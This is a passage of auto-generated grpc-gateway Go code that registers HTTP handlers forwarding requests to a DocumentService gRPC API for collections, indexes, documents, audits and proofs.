\"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tval, ok = pathParams[\"documentId\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"documentId\")\n\t}\n\n\tprotoReq.DocumentId, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"documentId\", err)\n\t}\n\n\tmsg, err := client.AuditDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_AuditDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq AuditDocumentRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tval, ok = pathParams[\"documentId\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"documentId\")\n\t}\n\n\tprotoReq.DocumentId, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"documentId\", err)\n\t}\n\n\tmsg, err := server.AuditDocument(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_ProofDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ProofDocumentRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tval, ok = pathParams[\"documentId\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"documentId\")\n\t}\n\n\tprotoReq.DocumentId, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"documentId\", err)\n\t}\n\n\tmsg, err := client.ProofDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_ProofDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ProofDocumentRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tval, ok = pathParams[\"documentId\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"documentId\")\n\t}\n\n\tprotoReq.DocumentId, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"documentId\", err)\n\t}\n\n\tmsg, err := server.ProofDocument(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\n// RegisterDocumentServiceHandlerServer registers the http handlers for service DocumentService to \"mux\".\n// UnaryRPC     :call DocumentServiceServer directly.\n// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906.\n// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterDocumentServiceHandlerFromEndpoint instead.\nfunc RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DocumentServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_CreateCollection_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_CreateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DocumentService_GetCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_GetCollections_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_GetCollection_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_DocumentService_UpdateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_UpdateCollection_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_UpdateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_DocumentService_DeleteCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_DeleteCollection_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_DeleteCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_AddField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_AddField_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_AddField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_DocumentService_RemoveField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_RemoveField_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_RemoveField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_CreateIndex_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_CreateIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_DeleteIndex_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_DeleteIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_InsertDocuments_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_InsertDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_DocumentService_ReplaceDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_ReplaceDocuments_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_ReplaceDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_DeleteDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_DeleteDocuments_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_DeleteDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_SearchDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_SearchDocuments_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_SearchDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_SearchDocuments_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_SearchDocuments_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_SearchDocuments_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_CountDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_CountDocuments_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_CountDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_AuditDocument_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_AuditDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_ProofDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DocumentService_ProofDocument_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_ProofDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}\n\n// RegisterDocumentServiceHandlerFromEndpoint is same as RegisterDocumentServiceHandler but\n// automatically dials to \"endpoint\" and closes the connection when \"ctx\" gets done.\nfunc RegisterDocumentServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterDocumentServiceHandler(ctx, mux, conn)\n}\n\n// RegisterDocumentServiceHandler registers the http handlers for service DocumentService to \"mux\".\n// The handlers forward requests to the grpc endpoint over \"conn\".\nfunc RegisterDocumentServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterDocumentServiceHandlerClient(ctx, mux, NewDocumentServiceClient(conn))\n}\n\n// RegisterDocumentServiceHandlerClient registers the http handlers for service DocumentService\n// to \"mux\". The handlers forward requests to the grpc endpoint over the given implementation of \"DocumentServiceClient\".\n// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in \"DocumentServiceClient\"\n// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in\n// \"DocumentServiceClient\" to call the correct interceptors.\nfunc RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client DocumentServiceClient) error {\n\n\tmux.Handle(\"POST\", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_CreateCollection_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_CreateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DocumentService_GetCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := 